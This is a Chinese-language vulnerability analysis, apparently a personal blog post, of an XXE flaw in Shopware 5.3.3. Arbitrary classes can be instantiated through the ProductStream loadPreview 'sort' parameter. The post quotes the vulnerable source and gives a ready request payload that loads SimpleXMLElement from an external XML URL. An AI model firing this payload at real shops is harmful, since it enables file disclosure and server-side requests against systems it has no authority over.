这篇咕了好几天了。。

问题出在/engine/Shopware/Controllers/Backend/ProductStream.php中Shopware_Controllers_Backend_ProductStream类的loadPreviewAction方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);

$sorting = $this->Request()->getParam('sort');

$criteria = new Criteria();

/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);

foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}

$conditions = $streamRepo->unserialize($conditions);

foreach ($conditions as $condition) {
$criteria->addCondition($condition);
}

$criteria->offset($this->Request()->getParam('start', 0));
$criteria->limit($this->Request()->getParam('limit', 20));

$context = $this->createContext(
$this->Request()->getParam('shopId'),
$this->Request()->getParam('currencyId'),
$this->Request()->getParam('customerGroupKey')
);

$criteria->addBaseCondition(
new CustomerGroupCondition([$context->getCurrentCustomerGroup()->getId()])
);

$category = $context->getShop()->getCategory()->getId();
$criteria->addBaseCondition(
new CategoryCondition([$category])
);

$result = Shopware()->Container()->get('shopware_search.product_search')
->search($criteria, $context);

$products = array_values($result->getProducts());

$this->View()->assign([
'success' => true,
'data' => $products,
'total' => $result->getTotalCount(),
]);
}
  • 问题在这句
1
$sorting = $streamRepo->unserialize($sorting);
  • 猜测这个unserialize方法类似于php内置的unserailize 函数,都是用于将字符串恢复成相应的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//engine\Shopware\Components\LogawareReflectionHelper.php
/**
* @param array $serialized
* @param string $errorSource
*
* @return array
*/
public function unserialize($serialized, $errorSource)
{
//var_dump($serialized);
$classes = [];

foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0];

try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}
return $classes;
}
  • 在createInstanceFromNamedArguments方法中会利用反射实例化指定的类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* @param string $className
* @param array $arguments
*
* @return object
*/
public function createInstanceFromNamedArguments($className, $arguments)
{
//实例化了一个反射类
$reflectionClass = new \ReflectionClass($className);

if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}

$constructorParams = $reflectionClass->getConstructor()->getParameters();

$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();

if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();

continue;
}

$newParams[] = $arguments[$paramName];
}

//实例化指定的类
return $reflectionClass->newInstanceArgs($newParams);
}
  • 整个过程用户可控的且没有限制,因此可以去实例化一个SimpleXMLElement类进行XXE攻击,payload如下
1
/shopware-5.3.3/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
  • 不过这里没有输出$sorting,所以没有回显。需要引入外部实体来进行Blind OOB XXE,不过要注意php的xmllib在2.9.0后默认不解析外部实体